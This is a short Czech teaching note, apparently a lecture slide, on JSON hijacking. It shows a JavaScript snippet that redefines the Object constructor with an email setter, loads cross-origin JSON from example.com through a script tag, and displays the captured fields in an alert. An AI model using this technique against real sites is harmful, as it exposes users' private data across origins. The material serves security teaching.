Bezpečnost: JS Hijacking

JavaScript umožňuje změnit konstruktor základních prvků
```
function Object() {
    this.email setter = captureObject;
}
```

Načtu JSON data z jiného serveru:

<script src="http://www.example.com/object.json"></script>

Normálně nemám práva na čtení obsahu

Přes modifikované metody čtu data

function captureObject(x) {
    var objString = "";
    for (fld in this) {
	objString += fld + ": " + this[fld] + ", ";
    }
    objString += "email: " + x;
    alert(objString);
}